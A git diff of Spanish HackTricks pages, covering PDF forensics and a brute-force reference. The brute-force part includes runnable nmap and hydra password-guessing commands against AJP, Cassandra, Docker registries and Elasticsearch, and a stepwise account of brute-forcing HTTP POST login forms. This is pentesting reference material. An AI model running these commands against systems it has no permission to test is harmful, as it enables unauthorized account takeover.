* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -6,7 +6,7 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -15,16 +15,16 @@
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Desde: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) Desde: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
El formato de archivo PDF es extremadamente complicado, con suficientes trucos y lugares ocultos [para escribir durante años](https://www.sultanik.com/pocorgtfo/). Esto también lo hace popular para los desafíos de forensia de CTF. La NSA escribió una guía sobre estos lugares ocultos en 2008 titulada "Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures". Ya no está disponible en su URL original, pero puedes [encontrar una copia aquí](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini también mantiene un wiki en GitHub sobre [trucos del formato de archivo PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md). El formato de archivo PDF es extremadamente complicado, con suficientes trucos y lugares ocultos [para escribir sobre ellos durante años](https://www.sultanik.com/pocorgtfo/). Esto también lo hace popular para los desafíos de forensia de CTF. La NSA escribió una guía sobre estos lugares ocultos en 2008 titulada "Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures". Ya no está disponible en su URL original, pero puedes [encontrar una copia aquí](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini también mantiene un wiki en GitHub de [trucos del formato de archivo PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md).
El formato PDF es parcialmente texto plano, como HTML, pero con muchos "objetos" binarios en su contenido. Didier Stevens ha escrito [buen material introductorio](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) sobre el formato. Los objetos binarios pueden ser datos comprimidos o incluso datos encriptados, e incluyen contenido en lenguajes de script como JavaScript o Flash. Para mostrar la estructura de un PDF, puedes navegarlo con un editor de texto o abrirlo con un editor de formato de archivo PDF como Origami. El formato PDF es parcialmente texto plano, como HTML, pero con muchos "objetos" binarios en su contenido. Didier Stevens ha escrito [buen material introductorio](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) sobre el formato. Los objetos binarios pueden ser datos comprimidos o incluso encriptados, e incluyen contenido en lenguajes de script como JavaScript o Flash. Para mostrar la estructura de un PDF, puedes navegarlo con un editor de texto o abrirlo con un editor de formato de archivo PDF como Origami.
[qpdf](https://github.com/qpdf/qpdf) es una herramienta que puede ser útil para explorar un PDF y transformar o extraer información de él. Otro es un framework en Ruby llamado [Origami](https://github.com/mobmewireless/origami-pdf). [qpdf](https://github.com/qpdf/qpdf) es una herramienta que puede ser útil para explorar un PDF y transformar o extraer información de él. Otro es un framework en Ruby llamado [Origami](https://github.com/mobmewireless/origami-pdf).
@ -33,12 +33,12 @@ Al explorar el contenido de un PDF en busca de datos ocultos, algunos de los lug
* capas no visibles * capas no visibles
* el formato de metadatos de Adobe "XMP" * el formato de metadatos de Adobe "XMP"
* la función de "generación incremental" de PDF en la que se conserva una versión anterior pero no es visible para el usuario * la función de "generación incremental" de PDF en la que se conserva una versión anterior pero no es visible para el usuario
* texto blanco sobre un fondo blanco * texto blanco sobre fondo blanco
* texto detrás de imágenes * texto detrás de imágenes
* una imagen detrás de una imagen superpuesta * una imagen detrás de una imagen superpuesta
* comentarios no mostrados * comentarios no mostrados
También existen varios paquetes de Python para trabajar con el formato de archivo PDF, como [PeepDF](https://github.com/jesparza/peepdf), que te permiten escribir tus propios scripts de análisis. También existen varios paquetes de Python para trabajar con el formato de archivo PDF, como [PeepDF](https://github.com/jesparza/peepdf), que te permiten escribir tus propios scripts de análisis.
<details> <details>
@ -46,7 +46,7 @@ También existen varios paquetes de Python para trabajar con el formato de archi
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -14,7 +14,7 @@ Obtén acceso hoy mismo:
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@ -39,7 +39,7 @@ Obtén acceso hoy mismo:
## **Crea tus propios Diccionarios** ## **Crea tus propios Diccionarios**
Encuentra toda la información posible sobre el objetivo y genera un diccionario personalizado. Herramientas que pueden ayudar: Encuentra la mayor cantidad de información posible sobre el objetivo y genera un diccionario personalizado. Herramientas que pueden ayudar:
### Crunch ### Crunch
```bash ```bash
@ -109,7 +109,7 @@ Finished in 0.920s.
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** utilizando las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo: Obtén acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -134,37 +134,25 @@ El Protocolo de Conector de Java (AJP, por sus siglas en inglés) es un protocol
El objetivo principal de AJP es mejorar el rendimiento y la eficiencia de la comunicación entre el servidor web y el servidor de aplicaciones Java. AJP utiliza un formato de paquete binario compacto y optimizado para minimizar el tamaño de los datos transmitidos y reducir la sobrecarga de la red. El objetivo principal de AJP es mejorar el rendimiento y la eficiencia de la comunicación entre el servidor web y el servidor de aplicaciones Java. AJP utiliza un formato de paquete binario compacto y optimizado para minimizar el tamaño de los datos transmitidos y reducir la sobrecarga de la red.
Una técnica común de ataque que se puede utilizar contra servidores AJP es el ataque de fuerza bruta. En este tipo de ataque, un atacante intenta adivinar la contraseña de un usuario probando diferentes combinaciones de contraseñas hasta encontrar la correcta. Esto se logra enviando solicitudes AJP al servidor con diferentes combinaciones de credenciales de usuario. Una técnica común de ataque que se puede utilizar contra servidores AJP es el ataque de fuerza bruta. En este tipo de ataque, un atacante intenta adivinar la contraseña de un usuario probando diferentes combinaciones de contraseñas hasta encontrar la correcta. Esto se logra enviando solicitudes AJP con diferentes contraseñas y verificando si el servidor responde con éxito.
Para protegerse contra los ataques de fuerza bruta en servidores AJP, es importante implementar medidas de seguridad adecuadas, como el uso de contraseñas fuertes y la configuración adecuada de las políticas de bloqueo de cuentas. Además, se recomienda monitorear de cerca los registros del servidor en busca de actividades sospechosas y aplicar parches de seguridad regularmente para protegerse contra vulnerabilidades conocidas. Para protegerse contra los ataques de fuerza bruta en servidores AJP, es importante implementar medidas de seguridad adecuadas, como el uso de contraseñas fuertes y la configuración adecuada de las políticas de bloqueo de cuentas. Además, se recomienda monitorear de cerca los registros del servidor en busca de actividades sospechosas y aplicar parches de seguridad regularmente para protegerse contra vulnerabilidades conocidas.
```bash ```bash
nmap --script ajp-brute -p 8009 <IP> nmap --script ajp-brute -p 8009 <IP>
``` ```
# Cassandra ### Cassandra
Cassandra es un sistema de base de datos distribuida altamente escalable y de alto rendimiento. Utiliza un modelo de datos basado en columnas y está diseñado para manejar grandes volúmenes de datos en múltiples nodos sin un único punto de fallo. Cassandra es un sistema de gestión de bases de datos distribuidas altamente escalable y de alto rendimiento. Utiliza un modelo de datos basado en columnas y está diseñado para manejar grandes volúmenes de datos en múltiples nodos sin un único punto de fallo.
## Ataques de fuerza bruta #### Ataques de fuerza bruta contra Cassandra
Un ataque de fuerza bruta es un método utilizado para descubrir contraseñas o claves de cifrado mediante la prueba exhaustiva de todas las combinaciones posibles. En el contexto de Cassandra, un ataque de fuerza bruta se puede utilizar para intentar adivinar las credenciales de acceso a un clúster de Cassandra. Los ataques de fuerza bruta son una técnica común utilizada para intentar obtener acceso no autorizado a sistemas protegidos. En el caso de Cassandra, un ataque de fuerza bruta implica intentar adivinar la contraseña de un usuario mediante la prueba de diferentes combinaciones de contraseñas hasta encontrar la correcta.
### Herramientas de fuerza bruta Para llevar a cabo un ataque de fuerza bruta contra Cassandra, se pueden utilizar herramientas como Hydra o Medusa. Estas herramientas automatizan el proceso de prueba de contraseñas al probar diferentes combinaciones en rápida sucesión.
Existen varias herramientas disponibles para llevar a cabo ataques de fuerza bruta en Cassandra. Algunas de las herramientas más populares incluyen: Sin embargo, es importante tener en cuenta que los ataques de fuerza bruta pueden ser ineficientes y llevar mucho tiempo, especialmente si se utilizan contraseñas seguras. Además, los sistemas de seguridad de Cassandra pueden estar configurados para bloquear automáticamente las direcciones IP después de un cierto número de intentos fallidos, lo que dificulta aún más el éxito de un ataque de fuerza bruta.
- Hydra: una herramienta de fuerza bruta que admite varios protocolos, incluido el protocolo de autenticación de Cassandra. Para protegerse contra los ataques de fuerza bruta, es recomendable utilizar contraseñas seguras y complejas, así como implementar medidas de seguridad adicionales, como la autenticación de dos factores. También es importante mantener el software de Cassandra actualizado con los últimos parches de seguridad para mitigar posibles vulnerabilidades que podrían ser explotadas en un ataque de fuerza bruta.
- Medusa: una herramienta de fuerza bruta que también admite varios protocolos, incluido el protocolo de autenticación de Cassandra.
- Ncrack: una herramienta de fuerza bruta de código abierto que puede utilizarse para atacar varios servicios, incluido Cassandra.
### Mitigación de ataques de fuerza bruta
Para proteger un clúster de Cassandra contra ataques de fuerza bruta, se pueden implementar las siguientes medidas de seguridad:
- Políticas de contraseñas fuertes: se deben establecer políticas de contraseñas que requieran contraseñas largas y complejas.
- Bloqueo de cuentas: se pueden implementar mecanismos de bloqueo de cuentas después de un número determinado de intentos fallidos de inicio de sesión.
- Autenticación de dos factores: se puede implementar la autenticación de dos factores para agregar una capa adicional de seguridad al proceso de inicio de sesión.
Es importante tener en cuenta que ninguna medida de seguridad es infalible y que siempre es recomendable mantenerse actualizado sobre las últimas vulnerabilidades y mejores prácticas de seguridad.
```bash ```bash
nmap --script cassandra-brute -p 9160 <IP> nmap --script cassandra-brute -p 9160 <IP>
``` ```
@ -200,43 +188,60 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl
``` ```
### Registro de Docker ### Registro de Docker
Un registro de Docker es un servicio que permite almacenar y distribuir imágenes de Docker. Es similar a un repositorio de código fuente, pero en lugar de almacenar código, almacena imágenes de contenedores Docker. Un registro de Docker es un servicio que permite almacenar y distribuir imágenes de Docker. Es similar a un repositorio de código fuente, pero en lugar de almacenar código, almacena imágenes de contenedores Docker. Esto permite a los desarrolladores compartir y distribuir fácilmente sus aplicaciones en contenedores.
El registro de Docker puede ser público o privado. Un registro público es accesible para cualquier persona y se utiliza comúnmente para compartir imágenes de contenedores con la comunidad. Por otro lado, un registro privado es utilizado por organizaciones para almacenar imágenes de contenedores internamente y restringir el acceso a usuarios autorizados. El registro de Docker utiliza un protocolo llamado Docker Registry HTTP API para permitir la interacción con el registro. Esta API proporciona métodos para autenticarse, buscar imágenes, subir y descargar imágenes, y administrar etiquetas y versiones.
El acceso a un registro de Docker se realiza a través de la API de Docker, que permite realizar operaciones como subir, descargar y buscar imágenes de contenedores. Para autenticarse en un registro privado, se requiere un nombre de usuario y una contraseña. #### Ataques de fuerza bruta al registro de Docker
El registro de Docker también puede ser utilizado como una herramienta de seguridad. Por ejemplo, se puede configurar para escanear imágenes de contenedores en busca de vulnerabilidades conocidas antes de permitir su implementación. Un ataque de fuerza bruta es un método utilizado por los hackers para intentar adivinar contraseñas o claves de acceso mediante la prueba sistemática de todas las combinaciones posibles. En el contexto de un registro de Docker, un ataque de fuerza bruta se puede utilizar para intentar adivinar las credenciales de acceso de un usuario legítimo.
En resumen, un registro de Docker es una parte fundamental de la infraestructura de contenedores y proporciona un lugar centralizado para almacenar y distribuir imágenes de contenedores Docker. Para llevar a cabo un ataque de fuerza bruta al registro de Docker, un hacker utilizará herramientas automatizadas que intentarán diferentes combinaciones de nombres de usuario y contraseñas hasta encontrar las credenciales correctas. Esto se hace de forma rápida y eficiente, ya que las herramientas de fuerza bruta pueden probar miles de combinaciones por segundo.
#### Protección contra ataques de fuerza bruta
Para proteger un registro de Docker contra ataques de fuerza bruta, es importante implementar medidas de seguridad adecuadas. Algunas de las mejores prácticas incluyen:
- Utilizar contraseñas fuertes: Las contraseñas deben ser largas, complejas y únicas para cada usuario. Se recomienda utilizar una combinación de letras mayúsculas y minúsculas, números y caracteres especiales.
- Limitar los intentos de inicio de sesión: Se pueden implementar mecanismos para limitar el número de intentos de inicio de sesión fallidos antes de bloquear temporalmente la cuenta.
- Implementar autenticación de dos factores (2FA): La autenticación de dos factores agrega una capa adicional de seguridad al requerir un segundo factor de autenticación, como un código generado por una aplicación móvil, además de la contraseña.
- Monitorear y registrar los intentos de inicio de sesión: Mantener un registro de los intentos de inicio de sesión fallidos puede ayudar a identificar patrones sospechosos y tomar medidas preventivas.
- Mantener el software actualizado: Es importante mantener el registro de Docker y todas las dependencias actualizadas con los últimos parches de seguridad para evitar vulnerabilidades conocidas.
Implementar estas medidas de seguridad puede ayudar a proteger un registro de Docker contra ataques de fuerza bruta y garantizar la integridad y seguridad de las imágenes de contenedores almacenadas en el registro.
``` ```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
``` ```
# Elasticsearch # Elasticsearch
Elasticsearch es un motor de búsqueda y análisis distribuido de código abierto, diseñado para almacenar, buscar y analizar grandes volúmenes de datos en tiempo real. Es ampliamente utilizado en aplicaciones web y sistemas de registro para indexar y buscar información de manera eficiente. Elasticsearch es un motor de búsqueda y análisis distribuido de código abierto, diseñado para almacenar, buscar y analizar grandes volúmenes de datos en tiempo real. Utiliza el formato JSON para almacenar y consultar datos, lo que lo hace altamente flexible y escalable.
## Ataques de fuerza bruta ## Ataques de fuerza bruta
Un ataque de fuerza bruta es una técnica común utilizada para obtener acceso no autorizado a sistemas o cuentas. Consiste en probar todas las combinaciones posibles de contraseñas hasta encontrar la correcta. En el contexto de Elasticsearch, un ataque de fuerza bruta se puede utilizar para intentar adivinar las credenciales de acceso a un clúster de Elasticsearch. Un ataque de fuerza bruta es un método utilizado para descubrir contraseñas o claves de cifrado mediante la prueba sistemática de todas las combinaciones posibles. En el contexto de Elasticsearch, un ataque de fuerza bruta se puede utilizar para intentar adivinar las credenciales de acceso a un clúster de Elasticsearch.
### Herramientas de fuerza bruta ### Herramientas de fuerza bruta
Existen varias herramientas disponibles para llevar a cabo ataques de fuerza bruta en Elasticsearch. Algunas de las más populares son: Existen varias herramientas disponibles para llevar a cabo ataques de fuerza bruta contra Elasticsearch. Algunas de las herramientas más populares incluyen:
- **Hydra**: una herramienta de línea de comandos que admite ataques de fuerza bruta en varios protocolos, incluido HTTP utilizado por Elasticsearch. - **Hydra**: una herramienta de línea de comandos que admite ataques de fuerza bruta en varios protocolos, incluido HTTP.
- **Medusa**: una herramienta de fuerza bruta en línea de comandos que admite ataques en varios protocolos, incluido HTTP. - **Medusa**: una herramienta de fuerza bruta rápida y modular que puede atacar varios servicios, incluido Elasticsearch.
- **Patator**: una herramienta de fuerza bruta y diccionario que admite múltiples protocolos, incluido HTTP. - **Ncrack**: una herramienta de autenticación en red de código abierto que admite ataques de fuerza bruta en varios protocolos, incluido Elasticsearch.
### Mitigación de ataques de fuerza bruta ### Mitigación de ataques de fuerza bruta
Para proteger un clúster de Elasticsearch contra ataques de fuerza bruta, se pueden implementar las siguientes medidas de seguridad: Para proteger un clúster de Elasticsearch contra ataques de fuerza bruta, se pueden implementar las siguientes medidas de seguridad:
- **Políticas de contraseñas fuertes**: se deben establecer políticas de contraseñas que requieran contraseñas largas y complejas. - **Políticas de contraseña fuertes**: se deben establecer políticas de contraseña que requieran contraseñas largas y complejas.
- **Bloqueo de cuentas**: se puede configurar Elasticsearch para bloquear una cuenta después de un número determinado de intentos fallidos de inicio de sesión. - **Bloqueo de cuentas**: se pueden implementar mecanismos de bloqueo de cuentas después de un número determinado de intentos fallidos.
- **Autenticación de dos factores**: se puede habilitar la autenticación de dos factores para agregar una capa adicional de seguridad al proceso de inicio de sesión. - **Autenticación multifactor**: se puede implementar la autenticación multifactor para agregar una capa adicional de seguridad.
- **Actualizaciones regulares**: se deben aplicar las actualizaciones de seguridad más recientes para protegerse contra vulnerabilidades conocidas.
Es importante tener en cuenta que ninguna medida de seguridad es infalible, por lo que es fundamental mantenerse actualizado con las últimas vulnerabilidades y parches de seguridad para proteger adecuadamente un clúster de Elasticsearch. Es importante tener en cuenta que los ataques de fuerza bruta son ilegales y solo deben realizarse con el permiso explícito del propietario del sistema.
``` ```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
``` ```
@ -246,7 +251,7 @@ El Protocolo de Transferencia de Archivos (FTP, por sus siglas en inglés) es un
#### Ataques de fuerza bruta contra FTP #### Ataques de fuerza bruta contra FTP
Un ataque de fuerza bruta contra FTP es un método utilizado para descubrir las credenciales de acceso a un servidor FTP mediante la prueba de todas las combinaciones posibles de nombres de usuario y contraseñas. Este tipo de ataque puede ser efectivo si el servidor FTP no tiene medidas de seguridad adecuadas, como bloqueo de cuentas después de un número determinado de intentos fallidos. Un ataque de fuerza bruta contra FTP es un método utilizado para descubrir las credenciales de inicio de sesión de un servidor FTP mediante la prueba de todas las combinaciones posibles de nombres de usuario y contraseñas. Este tipo de ataque puede ser efectivo si el servidor FTP no tiene medidas de seguridad adecuadas, como bloqueo de cuentas después de un número determinado de intentos fallidos.
#### Herramientas de fuerza bruta para FTP #### Herramientas de fuerza bruta para FTP
@ -254,7 +259,7 @@ Existen varias herramientas disponibles para llevar a cabo ataques de fuerza bru
#### Mitigación de ataques de fuerza bruta contra FTP #### Mitigación de ataques de fuerza bruta contra FTP
Para protegerse contra los ataques de fuerza bruta contra FTP, es importante implementar medidas de seguridad adecuadas. Algunas de las medidas que se pueden tomar incluyen: Para mitigar los ataques de fuerza bruta contra FTP, es importante implementar medidas de seguridad adecuadas. Algunas de las medidas que se pueden tomar incluyen:
- Establecer políticas de contraseñas fuertes y exigir cambios periódicos de contraseñas. - Establecer políticas de contraseñas fuertes y exigir cambios periódicos de contraseñas.
- Limitar el número de intentos de inicio de sesión permitidos antes de bloquear una cuenta. - Limitar el número de intentos de inicio de sesión permitidos antes de bloquear una cuenta.
@ -286,13 +291,15 @@ El proceso de ataque de fuerza bruta mediante el envío de formularios HTTP POST
1. Identificar el formulario objetivo: El primer paso es identificar el formulario HTML en la página web objetivo que se utiliza para enviar las credenciales de inicio de sesión. Esto se puede hacer inspeccionando el código fuente de la página o utilizando herramientas de análisis web. 1. Identificar el formulario objetivo: El primer paso es identificar el formulario HTML en la página web objetivo que se utiliza para enviar las credenciales de inicio de sesión. Esto se puede hacer inspeccionando el código fuente de la página o utilizando herramientas de análisis web.
2. Configurar la solicitud POST: Una vez identificado el formulario, se debe configurar una solicitud POST para enviar las credenciales de inicio de sesión. Esto implica establecer la URL de destino, los parámetros del formulario y los valores de las credenciales que se probarán. 2. Configurar la solicitud POST: Una vez identificado el formulario, se debe configurar una solicitud POST utilizando la URL de destino y los parámetros necesarios. Los parámetros generalmente incluyen el nombre de usuario y la contraseña.
3. Automatizar el envío de solicitudes: Para llevar a cabo un ataque de fuerza bruta eficiente, se utiliza un script o una herramienta automatizada para enviar múltiples solicitudes POST con diferentes combinaciones de nombres de usuario y contraseñas. Esto se hace de forma repetitiva hasta que se encuentren las credenciales correctas o se agoten todas las combinaciones posibles. 3. Generar combinaciones de credenciales: A continuación, se generan diferentes combinaciones de nombres de usuario y contraseñas para probar. Esto se puede hacer utilizando diccionarios de contraseñas predefinidos o mediante la generación automática de combinaciones.
4. Procesar las respuestas: Después de enviar cada solicitud POST, se analiza la respuesta recibida del servidor. Si la respuesta indica que las credenciales son válidas, se ha logrado el acceso no autorizado. En caso contrario, se continúa con el siguiente intento hasta que se encuentren las credenciales correctas o se agoten todas las combinaciones posibles. 4. Enviar solicitudes POST: Se envían las solicitudes POST al formulario objetivo, una por una, utilizando las diferentes combinaciones de credenciales generadas. Cada solicitud se envía con los parámetros correspondientes, es decir, el nombre de usuario y la contraseña.
